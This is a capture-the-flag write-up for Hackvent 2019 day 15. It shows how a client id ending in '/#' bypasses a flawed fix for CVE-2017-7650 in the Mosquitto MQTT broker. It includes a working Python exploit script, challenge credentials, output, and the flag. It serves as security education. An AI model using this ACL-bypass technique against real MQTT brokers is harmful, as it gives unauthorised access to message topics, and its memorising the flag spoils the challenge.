Link to challenge: https://academy.hacking-lab.com
Date Completed: 15 December 2019
Challenge
HV19.15 Santa’s Workshop
1 2 3 |
Introduction The Elves are working very hard. Look at to see how busy they are. |
Page snapshot:
1 |
<img class="alignnone size-full wp-image-1097" src="https://mobeigi.com/blog/uploads/chrome_1ZfClccQZP.png" alt="" width="1743" height="944" /> |
Solution
NOTE: Unfortunately, the server for this challenge was broken for a long time and caused a lot of pain and suffering. In the end it took 6 hours longer than it needed to.
We land on a nice landing page with a counter which counts upwards. We do some snooping around to see what resources are used on the page and come across two javascript files of interest.
config.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
var mqtt; var reconnectTimeout = 100; var host = 'whale.hacking-lab.com'; var port = 9001; var useTLS = false; var username = 'workshop'; var password = '2fXc7AWINBXyruvKLiX'; var clientid = localStorage.getItem("clientid"); if (clientid == null) { clientid = ('' + (Math.round(Math.random() * 1000000000000000))).padStart(16, '0'); localStorage.setItem("clientid", clientid); } var topic = 'HV19/gifts/'+clientid; // var topic = 'HV19/gifts/'+clientid+'/flag-tbd'; var cleansession = true; |
mqtt.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 |
function MQTTconnect() { if (typeof path == "undefined") { path = ''; } mqtt = new Paho.MQTT.Client( host, port, path, clientid ); var options = { timeout: 3, keepAliveInterval: 60, useSSL: useTLS, cleanSession: cleansession, onSuccess: onConnect, onFailure: function (message) { $('#status').val("Connection failed: " + message.errorMessage + "Retrying"); setTimeout(MQTTconnect, reconnectTimeout); } }; mqtt.onConnectionLost = onConnectionLost; mqtt.onMessageArrived = onMessageArrived; if (username != null) { options.userName = username; options.password = password; } mqtt.connect(options); } function onConnect() { mqtt.subscribe(topic, {qos: 0}); } function onConnectionLost(response) { setTimeout(MQTTconnect, reconnectTimeout); $('#alert').html('<div class="alert alert-warning" role="alert">Uhm.. somebody is currently messing with me. Try refreshing the page. I lost connection but why? ?</div>'); }; function onMessageArrived(message) { //var topic = message.destinationName; var payload = message.payloadString; countUp.update(payload); }; |
Basically, we are authenticating with a MQTT messaging service. We subscribe to the topic 'HV19/gifts/'+clientid initially which returns the number of gifts made by the elves so far which increases by 1-3 every second or so:
1 2 3 4 5 6 7 8 |
7347836 7347839 7347842 7347843 7347846 7347849 7347850 7347853 |
We see a commented out topic 'HV19/gifts/'+clientid+'/flag-tbd' but don’t get anything when we subscribe to it. We have our client id which was initially 0395226010678529 in our local storage. We also decide to convert the calls on the page into a python script for ease of testing. After subscribing to the wildcard # topic we don’t see any extra messages but we do something interesting when subscribing to the $SYS/# topic. We see the version of the MQTT server returned as:
1 |
mosquitto version 1.4.11 (We elves are super-smart and know about CVE-2017-7650 and the POC. So we made a genious fix you never will be able to pass. Hohoho) |
We inspect the CVE-2017-7650 and find the following releases including some commits which patches the issue:
https://mosquitto.org/blog/2017/05/security-advisory-cve-2017-7650/
https://github.com/eclipse/mosquitto/commit/9af3c6958fe1b2c653a7952f6f144bcf6ecfbc0d
https://github.com/eclipse/mosquitto/commit/cd17ca45cd313dc00480091505f708858db73ee9
In short we are told:
1 |
Pattern based ACLs can be bypassed by clients that set their username/client id to '#' or '+'. This allows locally or remotely connected clients to access MQTT topics that they do have the rights to. |
From the official patches we see the fix involves checking to see if the client_id or username contains the wildcard # or + symbols. If so, the connection is refused.
However, we notice that our client_id is only rejected if it starts with a # or + symbol. Therefore the elves patch incorrectly used a string startswith check instead of a string contains check. Also we consider the commented out topic in config.js which is HV19/gifts/'+clientid+'/flag-tbd and guess that the final flag will look something like this HV19/gifts/0395226010678529/HV19{flag_here}. It seems like our user workshop does not have permissions to read from this topic even though its nested under our client id.
Therefore, we try the client id 0395226010678529/# which should match the flag topic name if we subscribe to all topics (i.e. subscribe to # topic).
This is the script we ended up using:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
# Hackvent 2019 - Day 15 # Mo Beigi (https://mobeigi.com) import paho.mqtt.client as mqtt def on_connect(client, userdata, flags, rc): print("Connected to MQTT broker.\n\n") client.subscribe('$SYS/#') client.subscribe('#') print("Waiting for messages...\n\n") def on_message(client, userdata, msg): print(str(msg.topic) + "\t" + str(msg.payload)) def exploit(host): client = mqtt.Client(client_id='0395226010678529/#', clean_session=True, transport='websockets') client.on_connect = on_connect client.on_message = on_message print("Connecting to MQTT broker on %s" % host) client.username_pw_set('workshop', password='2fXc7AWINBXyruvKLiX') client.connect(host, 9001, 60, '') client.loop_forever() exploit("whale.hacking-lab.com") |
Running this spits out the following response which contains our flag as part of the topic name:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
PS C:\Users\Mo\Desktop> py -3 .\spoilt.py Connecting to MQTT broker on whale.hacking-lab.com Connected to MQTT broker. Waiting for messages... $SYS/broker/version b'mosquitto version 1.4.11 (We elves are super-smart and know about CVE-2017-7650 and the POC. So we made a genious fix you never will be able to pass. Hohoho)' HV19/gifts/0395226010678529/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r} b'Congrats, you got it. The elves should not overrate their smartness!!!' HV19/gifts/0395226010678529 b'7352550' HV19/gifts/0395226010678529/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r} b'Congrats, you got it. The elves should not overrate their smartness!!!' HV19/gifts/0395226010678529 b'7352551' HV19/gifts/0395226010678529/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r} b'Congrats, you got it. The elves should not overrate their smartness!!!' HV19/gifts/0395226010678529 b'7352551' HV19/gifts/0395226010678529/HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r} b'Congrats, you got it. The elves should not overrate their smartness!!!' |
Flag: HV19{N0_1nput_v4l1d4t10n_3qu4ls_d1s4st3r}